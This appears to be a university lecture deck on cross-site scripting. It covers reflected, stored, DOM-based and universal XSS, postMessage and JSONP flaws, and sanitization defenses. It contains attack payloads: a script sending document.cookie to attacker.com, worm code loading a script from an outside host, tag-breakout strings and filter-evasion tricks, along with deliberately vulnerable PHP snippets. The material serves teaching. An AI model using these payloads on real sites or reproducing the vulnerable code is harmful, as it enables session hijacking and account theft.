

# CSE551:

# Advanced Computer Security

## 14. Cross-Site Scripting

Seongil Wi

# Class Cancellation Notice



- There will be no classes next Thursday (the 20<sup>th</sup>)
- Due to my business trip
  
- Supplementary sessions may be arranged during the semester based on the progress of the lecture

# Recap: Web Threat Models



- **Network attacker:** resides somewhere in the communication link between client and server
  - Passive: eavesdropping
  - Active: modification of messages, replay...



- **Remote attacker:** can connect to remote system via the network
  - Mostly targets the server




- **Web attacker:** controls attacker.com
  - Can obtain SSL/TLS certificates for attacker.com
  - Users can visit attacker.com




# Recap: Web Attacker

Victims can visit attacker's webpage



Victim


Web attacker can control of his webpage



Web attacker

# Recap: Same Origin Policy (SOP)

- Restricts scripts on **one origin** from accessing data from **another origin**



# Recap: What is an Origin?



- **Origin = Protocol + Domain Name + Port**
  - origin = protocol://domain:port
- Any resource has its own origin (owner)
- Two URLs have the same origin if the **protocol, domain name** (not subdomains), **port** are the same for both URLs
  - All three must be equal origin to be considered the same

# Motivation



- Restricts scripts on one origin from accessing data from another origin
- Basic **access control** mechanism for web browsers
  - All resources such as DOM, cookies, JavaScript has their own origin
  - SOP allows a subject to access only the objects from the same origin



**Does SOP solve all the problems?**

# Cross-Site Scripting (XSS)

*To Bypass SOP!*

# Cross-Site Scripting (XSS)


- A code injection attack
- Malicious scripts are injected into benign and trusted websites
- Injected codes are executed at **the attacker's target origin**

# Search Engine Example

10




```
<html>
<body>
  Search result for <?php echo $_GET['query']; ?>
  <?php
    // get results from DB and print them
  ?>
</body>
</html>
```




# Search Engine Example: Benign Usage

11



```
<html>
<body>
  Search result for <?php echo $_GET['query']; ?>
  <?php
    // get results from DB and print them
  ?>
</body>
</html>
```




# Search Engine Example: Malicious Usage

12




```
<html>
<body>
  Search result for <?php echo $_GET['query']; ?>
  <?php
    // get results from DB and print them
  ?>
</body>
</html>
```




# Search Engine Example: Malicious Usage

13



```
<html>
<body>
  Search result for <?php echo $_GET['query']; ?>
  <?php
    // get results from DB and print them
  ?>
</body>
</html>
```

```
<html>
<body>
  Search result for <script>alert('hi')</script>
  ...
</body>
</html>
```



# Search Engine Example: Malicious Usage

14



```
<html>
<body>
  Search result for <?php echo $_GET['query']; ?>
  <?php
    // get results from DB and print them
  ?>
```

Injected malicious codes  
are executed at the  
<https://search.com> origin

```
<html>
<body>
  Search result for <script>alert('hi')</script>
  ...
</body>
</html>
```




# What if this input is

```
<script>fetch('https://attacker.com?data=' + document.cookie)</script>
```

⇒ An attacker can steal cookies from a user of a vulnerable website

[https://search.com?query=<script>alert\('hi'\);</script>](https://search.com?query=<script>alert('hi');</script>)




```
<html>
  <body>
    Search result for <script>alert('hi')</script>
    ...
  </body>
</html>
```

<body>

```
Search result for <?php echo $_GET['query']; ?>
<?php
  // get results from DB and print them
?>
```

Injected malicious codes  
are executed at the  
<https://search.com> origin



# Impact of Cross-Site Scripting Attacks

---

16

- **Bypass SOP:** Injected codes are executed at the attacker's target origin
- Obvious first target: reading cookies (session hijacking)
- Other “use cases” include
  - Attacking browser-based password managers
  - Setting cookies

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# Reflected XSS Attacks


---



- Exploits a server-side web application vulnerability
  - Enforces the web application to **echo** an attack script
- Now, the attacker can control any HTML elements via DOM interface
  - Think about reflected XSS attacks on bank, medical record managements, and mail sites

# Recap: Search Engine Example

20



```
<html>
<body>
Search result for <?php echo $_GET['query']; ?>
<?php
// get results from DB and print them
?>
</body>
</html>
```

**Reflected XSS bug:**  
echo an attack script!

```
<html>
<body>
Search result for <script>alert('hi')</script>
...
</body>
</html>
```



# Reflected XSS Attacks – Scenario


21



1. Visit attacker's website



victim



# Reflected XSS Attacks – Scenario

22




victim

1. Visit attacker's website
2. Receive malicious page




# Reflected XSS Attacks – Scenario

23




1. Visit attacker's website
2. Receive malicious page
3. Click the link




# Reflected XSS Attacks – Scenario

24



# Reflected XSS Attacks – Scenario


25



# Reflected XSS Attacks



- Most frequently occurs in search fields
  - echo '<input type="text" name="searchword" value="" . \$\_REQUEST["searchword"] . "'>;
- Custom 404 pages
  - echo 'The URL ' . \$\_SERVER['REQUEST\_URI'] . ' could not be found';



# Example: Exploiting Reflected XSS



```
<?php  
    echo "<img src='avatar.com/img.php?user=" . $_GET[“user”] . "’>";  
?>
```

Quiz!

Let's assume that the target website URL is <http://example.org> and the attacker ultimately want to execute the JS code alert(1)

What is the attack payload?

# Example: Exploiting Reflected XSS



```
<?php  
    echo "<img src='avatar.com/img.php?user=" . $_GET[“user”] . "’>";  
?>
```

- Exploit payload:
  - Close img tag: ’ >
  - Add payload: <script>alert(1)</script>
- Visit URL
  - [http://example.org/?user='><script>alert\(1\)</script>](http://example.org/?user='><script>alert(1)</script>)

Page:

```
<img src='avatar.com/img.php?user'><script>alert(1)</script>'>
```

# CVE-2017-10711, SimpleRisk

29

```
<?PHP
$username = $_POST[‘user’];
if(isset($username)){
    echo “<tr><td width=“20%“>” .
        $escaper->escapeHtml($lang[‘username’]) .
        “:&nbsp;</td><td width=“80%“><input class=“input-
        medium“ name=“user“ value=“{$username}“
        id=“user“ type=“text“
        /></td></tr>\n”;
}
?>
```

# CVE-2017-10711, SimpleRisk

30

```
<?PHP
```

```
    $username = $_POST['user'];
    if(isset($username)){
        echo "<tr><td width=\"20%\">" .
            $escaper->escapeHtml($lang['username']) .
            "&nbsp;</td><td width=\"80%\"><input class=\"input-
            medium\" name=\"user\" value=\"$username\"
            id=\"user\" type=\"text\""
            "/></td></tr>\n";
    }
?
```



# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# Stored XSS Attacks

---



- The attacker **stores** the JS code in the server-side component (e.g., DB)
  - Code is not immediately reflected, rather stored in database
- Also known as persistent server-side XSS attacks


# Stored XSS Attacks – Scenario

34



victim

Code is not immediately reflected,  
rather *stored in database*



# Stored XSS Attacks – Scenario

35

## Create Thread

A thread is a series of posts related to the same subject. Threads provide an organizational structure for posts. To start a new thread, click the New Thread button. Posts are numbered chronologically starting with the first message. [More Help](#)

\* Indicates a required field.


### MESSAGE

\* Subject

[CSE552] HW2 Announcement


Message

For the toolbar, press ALT+F10 (PC) or ALT+FN+F10 (Mac).




<script>attack()</script>

reflected,  
base



# Stored XSS Attacks – Scenario

36





Merged\_2025092\_CSE55102\_CSE55101

## (Merged) Advanced Computer Security

Content Calendar Announcements **Discussions** Gradebook (57) Messages Analytics Groups Achievements


7 Posted 0 Scheduled 0 Drafts

Announcement	Status	Viewers
<b>[CSE55102] HW2 Announcement</b> You are required to write a critique for the following two papers: WYSINWYX: What y... 	Posted 10/28/25, 5:12 PM	18 / 21



# Stored XSS Attacks – Scenario

38



# Stored XSS Attacks Example – Twitter Worm

39

- Can save data (i.e., script) into Twitter profile
- Data not escaped when profile is displayed
- Result: If view an infected profile, script infects your own profile



```
var update = "Hey everyone, join www.StalkDaily.com...";  
var xss = ";></a><script src='http://mikeylolz.uuuq.com/x.js'>";
```

```
var ajaxConn = new XHConn();  
ajaxConn.connect("/status/update", "POST", "status=" + update);  
ajaxConn.connect("/status/settings", "POST", "user=" + xss);
```

# Stored XSS Attacks Example – Twitter Worm<sup>40</sup>

- Can save data (i.e., script) into Twitter profile
- Data not escaped when profile is displayed
- Result: If view an infected profile, script infects your own profile




```
var update = "Hey everyone, join www.StalkDaily.com...";  
var xss = ":></a><script src='http://mikeylolz.uuuq.com/x.js'>";  
  
var ajaxConn = new XHConn();  
ajaxConn.connect("/status/update", "POST", "status=" + update);  
ajaxConn.connect("/status/settings", "POST", "user=" + xss);
```

# Stored XSS Attacks Example – Ubuntu Forums in 2013



- Attacker found flaw in vBulletin forum software
  - Announcements allowed for unfiltered HTML
- Attacker crafted malicious announcement and send link to admins
  - Stated that there was a server error message on the announcement
  - Instead, injected JavaScript code stole cookies
- Attacker could log in with the admins privileges



# Stored XSS Attacks Example



**XSS On Twitter [Worth 1120\$]**

Bywalks

*Hi guys, this is the first writeup about my vulnerability bounty program,a process about how I discovered a Twitter XSS vulnerability.*

*I think that in the process of finding the vulnerability, there are some interesting knowledge points, I hope you can get some from my writeup.*

*If you want to know more details, you need to visit [bobrov's blog](#), my discovery is due to reading his writeup, and thanks bobrov very much,I have a lot of gains from his blog.*

*Maybe you don't want to spend more time. Here I will give a brief explanation of his article. When you visit some addresses, the server returns 302, which is similar to the following picture.*

Request	Response
Raw Headers Hex GET //xxx/ HTTP/1.1 Host: dev.twitter.com	Raw Headers Hex HTML Render HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 content-security-policy: img-src 'self' data: *.twitter.com *.twimg.com https://www.google-analytics.com *.twitter.com *.twimg.com https://t.twimg.com *.t.igqa.com https://api.twitter.com https://www.hitchhikr.com *.twitter.com *.twimg.com https://c.hitchhikr.net https://www.google-analytics.com https://platform.vine.co *.twimg.com *.t.igqa.com font-src 'self' data: *.twitter.com *.twimg.com report-uri / content-type: text/html; charset=UTF-8 date: Thu, 17 Aug 2017 08:12:07 GMT location: http://dev.twitter.com/xxx set-cookie: prismaEmail_id="v1_bmpOnnS031DwW0y4a="; Expires=Sat, 17 Aug 2018 08:12:07 UTC; Path=/; Domain=.twi set-cookie: guest_id=v1Ai5055755694236650; Expires=Sat, 17 Aug 2018 08:12:07 UTC; Path=/; Domain=.twi strict-transport-security: max-age=63138519 x-content-type-options: nosniff x-frame-options: 1 x-xss-protection: 1; mode=block  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0 Final//EN"> <html><head></head> <body><h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="xxx">xxx</a>. If not click the link.</p>

*In the returned Body, location will choose how to populate according to the requested URL, and the requested URI will be placed in the href event.*

*What do you think of next? Can we try it with dev.twitter.com//javascipt:alert('1');*

## Stored XSS bug in Apple iCloud domain disclosed by bug bounty hunter

The cross-site scripting bug reportedly earned the researcher a \$5000 reward.

Charlie Osborne • February 22, 2021 -- 12:03 GMT (20:03 SGT)

A stored cross-site scripting (XSS) vulnerability in the iCloud domain has reportedly been patched by Apple.

Bug bounty hunter and penetration tester Vishal Bharad claims to have discovered the security flaw, which is a stored XSS issue in icloud.com.

Stored XSS vulnerabilities, also known as [persistent XSS](#), can be used to store payloads on a target server, inject malicious scripts into websites, and potentially be used to steal cookies, session tokens, and browser data.

According to Bharad, the XSS flaw in icloud.com was found in the Page/Keynotes features of Apple's iCloud domain.

In order to trigger the bug, an attacker needed to create new Pages or Keynote content with an XSS payload submitted into the name field.


This content would then need to be saved and either sent or shared with another user. An attacker would then be required to make a change or two to the malicious content, save it again, and then visit "Settings" and "Browser All Versions."

After clicking on this option, the XSS payload would trigger, the researcher said.


Bharad also provided a Proof-of-Concept (PoC) video to demonstrate the vulnerability.

# Recap: File Uploading Bugs

43



# Stored XSS Attacks Example – File Upload<sup>44</sup>





# Defense: Content-filtering Checks

45

## Content-filtering checks

```
<html>
<script>
    attack();
</script>
</html>
```

xss.html

```
<?php
$black_list = array('js', 'php', 'html', ...)
if (!in_array(ext($file_name), $black_list)) {
    move($file_name, $upload_path);
}
else {
    message('Error: forbidden file type');
}
?>
```

Error:  
forbidden  
file type

PHP interpreter

# Content Sniffing Attack, S&P '2009

46

- Make a victim's browser treats non-HTML content as HTML

2009 30th IEEE Symposium on Security and Privacy

## Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves

Adam Barth  
*UC Berkeley*

Juan Caballero  
*UC Berkeley and CMU*

Dawn Song  
*UC Berkeley*

### Abstract

*Cross-site scripting defenses often focus on HTML documents, neglecting attacks involving the browser's content-sniffing algorithm, which can treat non-HTML content as HTML. Web applications, such as the one that manages this conference, must defend themselves against these attacks or risk authors uploading malicious papers that automatically submit stellar self-reviews. In this paper, we formulate*

```
%!PS-Adobe-2.0
%%Creator: <script> ... </script>
%%Title: attack.dvi
```


Figure 1. A chameleon PostScript document that Internet Explorer 7 treats as HTML.

then propose fixing the root cause of these vulnerabilities: the browser content-sniffing algorithm. We design an algo-

# Content Sniffing Attack, S&P '2009

47


- Make a victim's browser treats non-HTML content as HTML



# Content Sniffing Attack, S&P '2009


48

- Make a victim's browser treats non-HTML content as HTML!



# Recap: FUSE, NDSS '20

49



## Content-filtering checks

```
if (finfo_file(content) == 'text/html')
    reject(file);
if (ext(file_name) == 'php')
    reject(file);
if ('<?php'
    t
    re
    ject(file),
accept(file)
```

Causing incorrect type  
inferences based on  
content

M1: Prepending a resource header

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# DOM-based XSS Attacks




- An attack payload is executed by modifying the “DOM environment” used by the original client-side script

# DOM-based XSS Attacks – Example




- An attack payload is executed by modifying the “DOM environment” used by the original client-side script




# DOM-based XSS Attacks – Example

- An attack payload is executed by modifying the “DOM environment” used by the original client-side script



# DOM-based XSS Attacks – Example

- An attack payload is executed by modifying the “DOM environment” used by the original client-side script




```
<script>
  document.write("Current URL: " +
                document.baseURI);
</script>
```

# DOM-based XSS Attacks – Example

56

- An attack payload is executed by modifying the “DOM environment” used by the original client-side script



# DOM-based XSS Attacks



- An attack payload is executed by modifying the “DOM environment” used by the original client-side script
- The attacker manipulates DOM elements under his control to inject a payload
  - Source: `document.baseURI`, `document.href.url`,  
`document.location`, **`document.referrer`**, `postMessage.data`,  
**`document.cookie` (how?)**, ...

# Recap: Question

---



- Is the **web attacker** has a control on the victim's referrer header?

# DOM-based XSS Attacks




- An attack payload is executed by modifying the “DOM environment” used by the original client-side script
- The attacker manipulates DOM elements under his control to inject a payload
  - Source: `document.baseURI`, `document.href.url`,  
`document.location`, `document.referrer`, `postMessage.data`,  
`document.cookie` (how?), ...

What is the main difference between DOM-based XSS attacks and reflected XSS attacks?


# DOM-based XSS Attacks – Scenario

60




# DOM-based XSS Attacks – Scenario

61




# DOM-based XSS Attacks – Scenario

62




# DOM-based XSS Attacks – Scenario

63




# DOM-based XSS Attacks – Scenario

64



# Reflected XSS Attacks – Scenario

65



# DOM-based XSS Attacks Example



```
var hash = location.hash;  
  
document.write("<div><iframe src='https://ad.com/iframe.html?hash=" + hash + "'></iframe></div>");
```

- Exploit payload:
  - Close opening iframe tag:   ' >
  - Close iframe:                              </iframe>
  - Add payload:                              <script>alert(1)</script>

# DOM-based XSS Attacks Example

```
var hash = location.hash;  
  
document.write("<div><iframe src='https://ad.com/iframe.html?hash=" + hash + "'></iframe></div>");
```

- Exploit payload:
  - Close opening iframe tag: ' >
  - Close iframe: </iframe>
  - Add payload: <script>alert(1)</script>
- Visit URL
  - [http://example.org/#'></iframe><script>alert\(1\)</script>](http://example.org/#'></iframe><script>alert(1)</script>)

Page:

```
<div><iframe src='https://ad.com/iframe.html?hash='></iframe><script>alert(1)</script>'></div>
```

- Proposed a fully automated DOM-based XSS detector

## 25 Million Flows Later - Large-scale Detection of DOM-based XSS

Sebastian Lekies  
SAP AG  
[sebastian.lekies@sap.com](mailto:sebastian.lekies@sap.com)

Ben Stock  
FAU Erlangen-Nuremberg  
[ben.stock@cs.fau.de](mailto:ben.stock@cs.fau.de)

Martin Johns  
SAP AG  
[martin.johns@sap.com](mailto:martin.johns@sap.com)

### Abstract

In recent years, the Web witnessed a move towards sophisticated client-side functionality. This shift caused a significant increase in complexity of deployed JavaScript code and thus, a proportional growth in potential client-side vulnerabilities, with DOM-based Cross-site Scripting being a high impact representative of such security issues. In this paper, we present a fully automated system to detect and validate DOM-based XSS vulnerabilities originating from inter-

bilities of client-side JavaScript are continuously increasing, due to the steady stream of new “HTML5” APIs being added to the Web browsers.

In parallel to this ever growing complexity of the Web’s client side, one can observe an increasing number of security problems that manifest themselves only on the client [26, 11, 17]. One of these purely client-side security problems is *DOM-based XSS* [16], a vulnerability class subsuming all Cross-site Scripting problems that are caused by insecure

# 25 million flows later, CCS '2013

69


- Among Alex top 5,000, found 6,167 unique vulnerabilities over 480 domains
  - 9.6% sites of all scanned sites have one DOM-XSS vulnerability
- Detection imethod: dynamic taint analysis
  - Sources: location.href, document.referrer, window.name
  - Sink: document.write, innerHTML, eval
  - Is there any tainted information flow from a source to a sink?
- Performed penetration test to remove false positives

exploit := breakOutSequence payload escapeSequence

- asfdas'); alert (' XSS ');//
- "></a><script>alert ('XSS')</script><textarea>

# Recap: Same Origin Policy


70



# PostMessage




- Purpose: a “hole” for cross-origin communication



# PostMessage

72


- Purpose: a “hole” for cross-origin communication



# PostMessage XSS Example

73

- Purpose: a “hole” for cross-origin communication



# PostMessage XSS Attacks



- Can a server see the XSS payload?
- Any website can embed any website within iframe
  - It is a HTML feature, not a bug
- What went wrong here?

# Check the Origin of the Received Message

75

```
child.postMessage(  
    😈'alert("XSS")',  
    '*'  
)
```



```
document.addEventListener("message", recv);
```

```
function recv(e) {  
    if (e.origin !== "http://whitelist.com")  
        return;  
    var jsonObj = eval(e.data);  
}
```

# Check the Origin of the Received Message

76

## HTML Living Standard (whatwg.org)

Authors should check the origin attribute to ensure that messages are only accepted from domains that they expect to receive messages from

```
if (e.origin !== "http://whitelist.com")
    return;
var jsonObj = eval(e.data);
}
```

# The Postman Always Rings Twice, NDSS '2013<sup>77</sup>

---

- Investigate PostMessage Usage in the wild

## **The Postman Always Rings Twice: Attacking and Defending postMessage in HTML5 Websites**

Sooel Son and Vitaly Shmatikov

The University of Texas at Austin

### **Abstract**

*The postMessage mechanism in HTML5 enables Web content from different origins to communicate with each other, thus relaxing the same origin policy. It is especially popular in websites that include third-party content. Each message contains accurate information about its origin, but the receiver must check this information before accepting*

hosting page, while the frame from a “business optimization” service may track users’ movements and clicks on the page that includes this frame.

HTML5, the new revision of the HTML standard which is rapidly growing in adoption, includes the *postMessage* facility that enables a script to send a message to a window regardless of their respective origins. *postMessage* thus relaxes the same origin policy by providing a struc-

# The Postman Always Rings Twice, NDSS '2013<sup>78</sup>

---

- Collected PostMessage receivers from Alexa top 10,000 sites
- Visited 16,115 pages from 10,121 host names
- Results:
  - 2,245 hosts (22%) have a PostMessage receiver
  - 1,585 hosts have a receiver with no origin check
  - 262 hosts have incorrect checks
  - 84 hosts have exploitable vulnerabilities

# The Postman Always Rings Twice, NDSS '2013<sup>79</sup>

---

- 84 hosts have exploitable vulnerabilities

```
if (m.origin.indexOf("sharethis.com") != -1)
```

- **Intended:** subdomain.sharethis.com

- **Possible attack:** from sharethis.com.malicious.com

- **Possible attack:** from evalsharethis.com

Check	Hosts	Origin check	Example of a malicious host name that passes the check	Existing domains
1	107	if(/[\ / \ .]chartbeat.com\$/ .test(a.origin))	evil.chartbeat-com <i>(not exploitable until arbitrary TLDs are allowed)</i>	0
2	71	if(m.origin.indexOf("sharethis.com") != -1)	sharethis.com.malicious.com, evilsharethis.com	2291
3	35	if(a.origin && a.origin.match(/\kissmetrics\.com/))	www.kissmetrics.com.evil.com	2276
4	20	var w = /jumptime\.com(: [0 – 9])?\$/; if (!v.origin.match(w))	eviljumptime.com	2
5	4	if(!a.origin.match(/readspeaker.com/gi))	readspeaker.comevil.com, readspeaker.com.evil.com	2276
6	1	a.origin.indexOf("widgets.ign.com") != 1	evilwidgets.ign.comevil.com, widgets.ign.com.evil.com	2278
7	1	if(e.origin.match(/http(s?)\ : \/\ /\ \/ w+\?.dastelefonbuch.de/)	www.dastelefonbuch.de.evil.com	4513
8	1	if((/\api.weibo\.com\$/).test(l.origin))	www.evilapi-weibo.com	0
9	1	if(/id.rambler.ru\$/i.test(a.origin))	www.evilid-rambler.ru	0
10	1	if(e.origin.indexOf(location.hostname)==-1){return;}	receiverOrigin.evil.com	n/a
11	7	if((/^https? : //[^/]+)/. + (rss selector  payment.portal matpay – remote).js/i) .exec(src)[1] == e.origin)	If the target site includes a script from www.evil.com/sites/selector.js, any message from www.evil.com will pass the check	n/a
12	5	if(g.origin && g.origin !== l.origin) { return; } else { ... }	www.evil.com	n/a
13	1	if((typeof d === "string" && (n.origin !== d && d !== "**"))  (jisFunction(d) && d(n.origin) === !1))	www.evil.com	n/a
14	24	if(event.origin != "http://cdn-static.liverail.com" && event.data)	www.evil.com	n/a

# Consequences of PostMessage Attacks

81

- Cross-Site Scripting attacks
- Reading cookies
- Reading or writing local storage values




# JSONP XSS Attacks

82

- JSONP: a certain function on cross-origin data

Assume there is a weather service that provides  
the current temperature

=> How can your JS application reference info  
from weather.com?





weather.com  
web server

# JSONP XSS Attacks

83

- JSONP: a certain function on cross-origin data



weather.com  
web server


# JSONP XSS Attacks

84

- What if an attacker has a chance to inject some string value in the JSONP URL?

The diagram illustrates a JSONP XSS attack. On the left, a browser window displays a script tag with a URL that includes a callback parameter. This URL is used to request JSON data from a web server. The server returns a JSONP response, which is then executed by the browser's script tag. A large green double-headed arrow indicates the flow of data between the browser and the server.

```
https://vulnerable.com
<script>
  function read(json) {
    document.write(json.temp)
  }
</script>
<script
  src="http://weather.com/
    jsonp?callback=
      alert('xss');read"
>
</script>
```





- The attacker exploits victim's locals
  - Cookies (`document.cookie`) and LocalStorage (`window.localStorage`)

## Don't Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild

Marius Steffens\*, Christian Rossow\*, Martin Johns†, and Ben Stock\*

\*CISPA Helmholtz Center for Information Security: {marius.steffens,rossow,stock}@cispa.saarland

†TU Braunschweig: m.johns@tu-braunschweig.de

**Abstract**—The Web has become highly interactive and an important driver for modern life, enabling information retrieval, social exchange, and online shopping. From the security perspective, Cross-Site Scripting (XSS) is one of the most nefarious attacks against Web clients. Research has long since focused on three categories of XSS: Reflected, Persistent, and DOM-based XSS. In this paper, we argue that our community must

the complexity of client-side code rises. This trend is naturally accompanied by an increase in flaws. One of the most devastating attacks is Cross-Site Scripting (XSS), allowing an adversary to execute arbitrary JavaScript code in the context of a vulnerable application. This can be used to, e.g., exfiltrate sensitive information such as access tokens or to post content in the name of the victim.

# Persistent Client-side XSS Attacks


86

Through network  
or web attacker

```
<script>  
  var value = localStorage.getItem('entryPage')  
  document.write("<a href=\"" + value +  
    "\">start over</a>");  
</script>
```



1. Insert '`><script>alert(1)</script>`' to `localStorage`



# Persistent Client-side XSS Attacks

87

Through network  
or web attacker

```
<script>  
  var value = localStorage.getItem('entryPage')  
  document.write("<a href=\"" + value +  
    "\">start over</a>");  
</script>
```




attacker



victim

1. Insert '`><script>alert(1)</script>`' to localStorage

2. Visit (Boom!)



# Persistent Client-side XSS Attacks, NDSS '2019

---



- Web application developers often **blindly trust their local resources**, thus performing no sanitization
  - 470 sites and 385 sites perform eval or JS sink functions on **cookies** and **localStorage**, respectively
- Benefits (in terms of the attacker)
  - It **persists** until victims clear their locals!
  - The attacker do not need to for each attack attempt entice victims to visit their websites
- To make the attack work, what conditions are required?
  - The attacker should inject her choice of attack payloads to locals
  - Network attacker and Web attacker

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# Universal XSS Attacks

---




- Exploits a browser bug to inject malicious payload to any webpage origin
- Its target is not a web application, but a **browser**
- The attacker can compromise any websites presently opened

# Universal XSS Attacks Example

92


- CVE-2015-1293



# Universal XSS Attacks Example

93


- CVE-2015-1293



# Universal XSS Attacks Example

94

- CVE-2015-1293



- Propose a browser fuzzer designed to detect UXSS vulnerabilities

## FUZZORIGIN: Detecting UXSS vulnerabilities in Browsers through Origin Fuzzing

Sunwoo Kim\*  
Samsung Research  
*sunwoo28.kim@samsung.com*

Suhwan Song  
Seoul National University  
*sshkeb96@snu.ac.kr*

Young Min Kim  
Seoul National University  
*ym.kim@snu.ac.kr*

Gwangmu Lee†  
EPFL  
*gwangmu.lee@epfl.ch*

Jaewon Hur  
Seoul National University  
*hurjaewon@snu.ac.kr*

Byoungyoung Lee‡  
Seoul National University  
*byoungyoung@snu.ac.kr*

### Abstract

Universal cross-site scripting (UXSS) is a browser vulnerability

### 1 Introduction

Modern web browsers feature client-side scripting, enabling highly interactive dynamic web pages. By allowing the script

# XSS Type (IMPORTANT!!)



- Reflected XSS (Server-side XSS)
- Stored XSS
- DOM-based XSS (Client-side XSS)
- Universal XSS

# How to Mitigate XSS Attacks?

# How to Mitigate XSS Attacks?

98

## #1: Input validation/sanitization

- Any user input must be preprocessed before it is used inside HTML
- Option 1-1: Implement your own sanitization logic (not recommended)

```
<?php
    $input = $_GET['query'];
    $result = str_replace('script', '', $input) 
    echo $result
?>
```

# How to Mitigate XSS Attacks?

99

## #1: Input validation/sanitization

- Any user input must be preprocessed before it is used inside HTML
- Option 1-1: Implement your own sanitization logic (not recommended)

Input: http://example.com/?query=<script>attack()</script>

```
<?php  
    $input = $_GET['query'];  
    $result = str_replace('script', '', $input)  
    echo $result  
?>
```

Output: <>attack()</>

# How to Mitigate XSS Attacks?

100

## #1: Input validation/sanitization

- Any user input must be preprocessed before it is used inside HTML
- Option 1-1: Implement your own sanitization logic (not recommended)

Input: `http://example.com/?query=<scrscriptipt>attack()</scrscriptipt>`

```
<?php  
    $input = $_GET['query'];  
    $result = str_replace('script', '', $input)  
    echo $result  
?>
```



Output: `<script>attack()</script>`

# How to Mitigate XSS Attacks?

10

## #1: Input validation/sanitization

- Any user input must be preprocessed before it is used inside HTML
- Option 1-1: Implement your own sanitization logic (not recommended)

Input: `http://example.com/?query=<scrscriptipt>attack()</scrscriptipt>`

```
<?php
    $input = $_GET['query'];
    $result = str_replace('script', '', $input)
    echo $result
?>
```



Implementing XSS filter is hard!  
Hard to get right, for general case

# How to Mitigate XSS Attacks?

## #1: Input validation/sanitization

- Any user input must be preprocessed before it is used inside HTML
- Option 1-1: Implement your own sanitization logic (not recommended)
- Option 1-2: Use the good escaping libraries
  - E.g., `htmlspecialchars(string)`, `htmlentities(string)`, ...

Input: `http://example.com/?query=<script>attack()</script>`

```
<?php  
$input = $_GET['query'];  
$result = htmlspecialchars($input)  
echo $result  
?>
```

Convert special characters to HTML entities

- & (ampersand) becomes &amp;
- " (double quote) becomes &quot;
- ' (single quote) becomes &#039;
- < (less than) becomes &lt;
- > (greater than) becomes &gt;

Output: &lt;script&gt;attack()&lt;/script&gt;

# Incorrect Input Sanitzations



http://vuln.com?input=javascript:alert('xss') 😬

```
<?php  
    $input = $_GET["input"];  
    $message = htmlspecialchars($input);   
?  
<a href = “  
    <?php echo $message; ?>  
”> Content </a>
```

Convert special characters to HTML entities

- & (ampersand) → &amp;
- " (double quote) → &quot;
- ' (single quote) → &#039;
- < (less than) → &lt;
- > (greater than) → &gt;

*This application is still vulnerable*

# Beware of Filter Evasion Tricks



- If filter allows quoting (of `<script>`, etc.), beware of malformed quoting:
  - `<IMG ""><SCRIPT>alert('XSS')</SCRIPT>">`
- Long UTF-8 encoding
- Scripts are not only in `<script>`:
  - `<iframe src='https://bank.com/login' onload='steal()'>`

**Research Question:**  
**How to Find Web**  
**Application Vulnerabilities**  
**(in a scalable manner?)**

## Efficient and Flexible Discovery of PHP Application Vulnerabilities, *Euro S&P '17*

### Efficient and Flexible Discovery of PHP Application Vulnerabilities


Michael Backes<sup>\*†</sup>, Konrad Rieck<sup>‡</sup>, Malte Skoruppa<sup>\*</sup>, Ben Stock<sup>\*</sup>, Fabian Yamaguchi<sup>‡</sup>


<sup>\*</sup>CISPA, Saarland University      <sup>†</sup>Max Planck Institute for Software Systems  
Saarland Informatics Campus      Saarland Informatics Campus

Email: {backes, skoruppa, stock}@cs.uni-saarland.de  
<sup>‡</sup>Braunschweig University of Technology  
Email: {k.rieck, f.yamaguchi}@tu-bs.de

**Abstract**—The Web today is a growing universe of pages and applications teeming with interactive content. The security of such applications is of the utmost importance, as exploits can have a devastating impact on personal and economic levels. The number one programming language in Web applications is PHP, powering more than 80% of the top ten million websites. Yet it was not designed with security in mind and, today, bears a patchwork of fixes and inconsistently designed functions with often unexpected and hardly predictable behavior that typically yield a large attack surface. Consequently, it is prone to different types of vulnerabilities, such as SQL Injection or Cross-Site Scripting. In this paper, we present an interprocedural analysis technique for PHP applications based on *code property graphs* that scales well to large amounts of code and is highly adaptable in its nature. We implement


Web, PHP therefore constitutes a prime target for automated security analyses to assist developers in avoiding critical mistakes and consequently improve the overall security of applications on the Web. Indeed, a considerable amount of research has been dedicated to identifying vulnerable information flows in a machine-assisted manner [15, 16, 4, 5]. All these approaches successfully identify different types of PHP vulnerabilities in Web applications. However, all of these approaches have only been evaluated in a controlled environment of about half a dozen projects. Therefore it is unclear how scalable they are and how well they perform in much less controlled environments of very large sets of arbitrary PHP projects. (See Section 7 on related work for details). In addition, these approaches are hardly customizable, in the sense that they cannot be configured to look for






# Abstract Syntax Tree (AST)

```
void foo() {  
    int x = source();  
    if (x < MAX) {  
        int y = 2 * x;  
        sink(y);  
    }  
}
```




# Control Flow Graph (CPG)

```
void foo() {  
    int x = source();  
    if (x < MAX) {  
        int y = 2 * x;  
        sink(y);  
    }  
}
```





# Program Dependence Graph (PDG)


```
void foo() {  
    int x = source();  
    if (x < MAX) {  
        int y = 2 * x;  
        sink(y);  
    }  
}
```



# Code Property Graph








Define how to traverse  
on CPG to find bugs

## Audit a large amount of code in a scalable way

Application  
under test

A general representation of a  
